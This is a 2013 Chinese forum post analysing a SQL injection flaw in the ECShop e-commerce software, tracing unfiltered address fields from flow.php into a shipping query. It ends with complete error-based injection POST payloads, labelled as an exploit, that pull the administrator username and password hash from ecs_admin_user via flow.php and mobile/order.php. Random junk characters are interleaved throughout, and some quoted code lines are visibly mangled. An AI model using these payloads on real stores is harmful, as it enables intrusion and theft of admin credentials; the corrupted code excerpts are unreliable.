找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2232|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。2 v  m- K  Q. Q& ]/ }; y! w1 f: f

* p# s" f$ X9 D) }/ X  n$ f! T# [    漏洞关键文件:8 [5 v/ P& j6 m
5 K( J4 Q. |+ T* w2 ^0 @/ x
    /includes/lib_order.php/ Z$ L0 q9 M3 F/ C) K2 e
& J7 s! q+ {  F+ N8 O
    关键函数:
* M3 T8 Z7 l! h, Y4 D/ N3 K9 q6 M5 b  U8 o( J( [
6 |7 v& D4 w5 T$ F

7 K, B$ ^' S  h" S01     function available_shipping_list($region_id_list) * U0 U( @% k5 s8 R2 M: u0 x% c
2 X/ t6 o6 F' ]3 r
02 { # |# f, g/ F' H0 t. ?$ Y

# U6 _& O( Q. q: M7 M+ H+ C03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 9 z# _! m2 f7 R" h

/ Z7 q* U9 m, r7 |, L2 T3 H04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 9 n$ Y2 ?* x/ B1 ?. `1 n8 }

! v! Q. k5 _, j; J8 r) R6 X, a, c; D05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 2 F* Q6 p$ E% I/ G6 h
+ ~  S) q2 x1 m. f" r( T
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
% H+ r3 f9 v: D" U  c- ^$ R3 p) y! g( z) j  P( H( M) D( q. Z
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
  q5 R, m9 `# F; N' a( S5 j
8 b+ ?; j6 \0 L9 M3 Y4 \6 x08             'WHERE r.region_id ' . db_create_in($region_id_list) .
* n0 B8 C  {4 {% D! [  P1 ~( A0 O: C4 [; d7 R$ _
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
7 @! W3 F! Q# j1 F# v8 P1 E" V) }0 q/ G+ W0 L& L1 O
10   
  K; W. Y+ U* h- p; h+ {3 P2 Q# A
- F& x% X- z& u, I0 B11     return $GLOBALS['db']->getAll($sql);
  |/ g" e( [% t( F0 [. H: t. c0 l
12 } " d8 L, e( V4 u0 r

$ m( z9 q: e% l) V显然对传入的参数没有任何过滤就带入了查询语句。0 d5 a! s2 t! B0 w% F1 |

; T, w8 f& s; V$ \, {2 }下面我们追踪这个函数在flow.php中:# F% N' P2 f7 R1 [# G& x4 @
第531行:   
7 v8 F" B+ l$ m- X& S' Q4 A4 p; G3 O2 C
1 $shipping_list     = available_shipping_list($region);
# K) _+ o; k7 P' ~2 ]. V
+ D% u" q1 M1 @  r4 v) a: i
  h% `5 E+ z3 l7 Z& V  F5 @; A3 |( C1 `. ?5 j4 ]& `  l5 H

6 I, }. |$ Y/ A% v: K0 ]+ H* f, g3 `  K& Q/ B& e* J
再对传入变量进行追踪:
( S( M& I; p  y) `
% {7 _" H/ S9 t. a第530行:   
. {: V: u6 _; A7 A. J' X
2 g6 r. O' M5 e  G- g1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 0 ?" j/ f! C3 y$ T

, m8 ]9 d. |$ @
5 M: L7 f; Q( b' {! P* Q
. L, g6 t& ^6 A9 \ % X9 G9 N# x& y6 T% w5 ]
* ~2 |$ {' D2 @3 [* t! m# i$ R, ]
第473行:        
/ r- Y( `  C# Q4 O* A$ G8 T: d  |+ H6 o8 G
1 $consignee = get_consignee($_SESSION['user_id']);
# P6 I. Y, H  o3 X- l' O( n4 A  z  t) U5 |4 j3 K: a
到了一个关键函数:* ]* L9 |; h, v7 Q: p$ c' s9 A; F
- q' G- Z( r3 K1 F8 b: u0 a1 {  o! N
/includes/lib_order.php# m/ }/ N; u( i8 h6 d
8 z: k( f, y! n* a6 K& O+ `0 Y: F! d

, `5 l, \  K. q8 _; B
  L+ ?5 s  i+ }7 p5 X+ ?
" Y4 W6 M7 C2 i' n. b$ H2 F& l% [$ p6 a9 D6 s* T4 o6 k  M- j6 G
01 function get_consignee($user_id) 9 E& Q; L8 C( n

- L3 g, Y& d+ {6 E" I5 m! [8 h' I  Y" Y02 {
6 V- q/ P  ]  P1 N  q7 ~$ h! [1 D! w. `9 K
03     if (isset($_SESSION['flow_consignee'])) 1 |  |# x& y2 c  b6 j/ i

, X8 I7 V6 W0 f+ N5 E0 l04     { & s/ m' m( b$ B+ {1 s1 r
1 y! m: B; _8 B) A4 c
05         /* 如果存在session,则直接返回session中的收货人信息 */
3 p0 s  n2 {6 D  ?/ a: V
/ M4 B3 a$ E5 Q% o$ E' U. w06   
; e$ ?+ [! i9 h, M
! N1 g8 m6 \. e3 ~/ q8 i  E07         return $_SESSION['flow_consignee']; 2 [9 N  J/ x+ @2 t

  ~" Z/ X% g0 W. y% ^# q  t/ D08     }
' o4 G3 p9 b) d- {4 P$ s1 i# E
9 X( c/ p( ~: j09     else
; m$ m# K) l: a6 S9 Z! c$ C( e/ ]% n- B7 u, _
10     {
0 C! D) q; P! s8 H% I( C: ^) Z
4 z# o% Q) U9 h( V' d/ V6 S( U11         /* 如果不存在,则取得用户的默认收货人信息 */
* k2 g; M& o6 E" D  ^' g: ]; W1 t1 q7 k/ p2 F' o! q
12         $arr = array(); " A5 K4 p0 q2 @% s

1 O( s5 v9 ?" l$ m13   
( \" J( e$ q1 T8 q( W2 T! \1 x7 a6 E5 K' I& k' S1 h
14         if ($user_id > 0) % g; M- Z4 I; b: U$ r

. l; @, S# x1 L4 _# t9 l15         {
- {: F1 T0 R7 ^$ n7 L1 g8 J0 M; g8 V. s* Z5 v; [9 c
16             /* 取默认地址 */
7 R; l, z6 `! O/ g0 o. r
- N  l9 f9 ^- o$ F3 o  `' K17             $sql = "SELECT ua.*".
( \2 R7 y+ g% D7 _. o! C, |7 q, A% s( q2 g
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. " Z: B& U$ R0 U+ e

7 x; c6 H, m0 K6 R- E9 E9 K19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; . \- W' r: M9 M6 R
* g) j. G, R- Q; X9 Q) f! {# \" Z! k  g
20   2 G. _: M6 j! {# v3 b, \

% b- F) P$ b: e& N9 ~- k7 M! d; D21             $arr = $GLOBALS['db']->getRow($sql);
2 P' p8 R: e/ e0 Q9 N* W& ]
' M: `+ O' |$ Z% N, U& e22         } 3 x2 D  o. Y* K3 Q( c
  g! p& g$ O( a% [
23   
2 {" s+ E" N0 K* {7 B( T* \/ D0 B- ^9 B7 j9 P5 m1 |2 e# w3 L5 {. {: E
24         return $arr;
" u9 w" x& t2 i  s6 u0 S
! D* D0 e9 o$ _+ u: k* @+ S4 }25     } 8 x/ Z; z% D/ ^' n% W
' U- J5 k% v( k. W6 y
26 } / q/ Y" n3 i# X$ Q
4 D: G4 X" f) A1 r
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?* v4 F! ?/ R) X4 s* f/ ]3 z/ \( @* \

2 L# o) ^" e1 Z $ W+ P" [% y  R% Y" S# ~' i4 o

$ y: N& @) ~1 W关键点:- _1 f! q2 Z6 X) `

, Q* x+ Y8 b7 a3 V; V第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
4 E# h2 s: q" E5 V9 z  _4 W' z" B
6 e5 Z% u8 T- @( c* z8 u这里对传入参数反转义存入$_SESSION中。# @( F7 Z+ O! W) a+ V" H) L

9 _# I) Z# f) n7 [1 }1 \, R 9 A6 g1 B) ^1 ]" q) l7 y( M

9 f3 ?. r- t$ Z7 J# M. u然后看下:, ~. K+ h4 V& `4 |7 p, O4 J

$ g; l: `2 C3 M3 M) |8 D7 e9 e
2 z6 B+ |. L, s0 I8 r
. A0 I7 l' C: F   
/ ~; l, x, N+ C5 O2 G( v0 [
$ y/ C3 W7 l+ a. v/ G8 N01 $consignee = array( 4 N# Z. [0 G* x! c. U
2 m2 e/ h4 [  G# s( N( p1 ~- `
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
" U5 F% I' G( k) O) S# W2 S5 L' q2 L( K
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
# W, u6 y" [, [* @2 `
: |5 Z& w: H$ b/ X" R5 d4 `04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
3 f/ |3 |! s9 F! Y" Q4 T1 U1 ~7 i8 M$ D/ a2 S; Z
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
+ v+ ]% z; k- z/ s2 L" Z# K' x6 C( {" y" ~. l" F7 e& r
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 3 R! `  e7 ~2 g' ~: Q) G' v

$ i  L1 L. L* R1 ]! ]+ Z- Q4 |07         'district'      => empty($_POST['district'])   ? '' _POST['district'], $ H, ?& j$ x* m" t* U
3 q2 C" V2 l! V' i* I; `
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], + ^4 t, x8 |, R( V+ N) w: ^9 z
6 n8 `( p: g. ?: W% c
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 8 J- t9 Q" i: l  C2 r7 U! B
, O, i& g, g8 X& u6 L( K6 X) r' H
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 7 d9 e' U& K& p) \2 j9 N
1 O' {  W% S/ g% U5 _
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
0 R8 D) T0 a1 v7 }. \
* V! h; M+ R7 d- n# C# _, H. d12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
$ Q' t9 b7 L9 w1 ]* n% x& \" q; D
- P: D7 F' f' q13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
3 I5 s+ Q  h1 \0 W5 `6 ]
' y8 ~$ J5 g8 ^, n14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
# ?4 S7 x. R, N* e# Q. \9 S  }5 {$ s( V9 Z' |3 F% o! S
15     ); ! R- F) [" v; [: j8 V

  s5 _1 x' g, ^+ b! Z3 [好了注入就这样出现了。
5 h1 j. l' T+ |! x8 z
# V/ r. {6 |% l; @' P==================
1 U/ x; @" K4 T9 H) V& @9 c' ]/ y- {3 I5 t2 P
注入测试:
% q9 A1 P, e. i! S: g2 k8 b1 D
3 E+ g) _% T( [. L) z环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)) }' j2 G% [5 G. M9 Z5 S' i

% q7 e% _  h# z8 [测试程序:ECShop_V2.7.3_UTF8_release1106
+ G$ h: F$ D7 {. C& @2 m" g8 V  f( B. O* B3 y$ A
6 k1 q' O- e% {

7 ]$ G5 t' ?& o- l. T0 ^1.首先需要点击一个商品加入购物车) V5 g8 i& t% B& X- x) a

6 B; r3 O1 V- B( ~. B5 U, [2.注册一个会员帐号
# E4 E8 W: c. v4 M9 f$ T' h/ {6 ]$ {! q  g
3.post提交数据7 Q1 q$ Z1 C' ]# g  ^

. y" F7 c4 W* p6 h0 f. S" Q( ]$ t 1 g& X/ b) Q  a$ a

7 z; C5 V, k& e/ m1 N9 N1 http://127.0.0.1/ecshop/flow.php
  i0 _! p' T9 D& Z- a8 u
& e& K8 z7 q( r8 |2   
: K; e* y- A1 ]  Y- f' S
2 q4 D& n6 Y! T4 W7 o. H3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ) H! Y9 V0 L* g8 C4 o
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
3 H8 h( ]) Z1 L. S4 D
& F, Q" H: h, T" x$ a我们搜寻关键函数function available_shipping_list()
7 w  i5 ?1 J7 K1 U# I# N
% a7 D/ `+ l3 l# p2 N. u; u在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同8 B& E+ [( `! Q" k3 {
& S0 d$ h. ]/ A. M: P' T% A
利用exp:$ d6 B) _$ z& Q- D; ]3 {

& B2 E8 Y: Z) K) Y5 z, J) S1.点击一个商品,点击购买商标  {. ?7 _/ J( h* `
3 j- [1 C$ l. m
2.登录会员帐号4 U3 a( X+ r2 V% p0 v- I- X0 y

% V6 }5 s# s- s' {5 ~3.post提交:% B  ]7 S; {$ ~/ ]$ e

) W" \" H0 P& F: y: ]3 xhttp://127.0.0.1/ecshop/mobile/order.php
- k7 `" V1 B* k6 N8 A) l3 i" z* O) b  K& J# a( v: P
9 q! a' @5 W9 x6 J- {, O) ~3 O, `
. C$ R7 w* z; W0 \, ]! m# v/ v
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
  p2 @4 B" q0 N/ }
0 E" ]' s7 X. m! K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表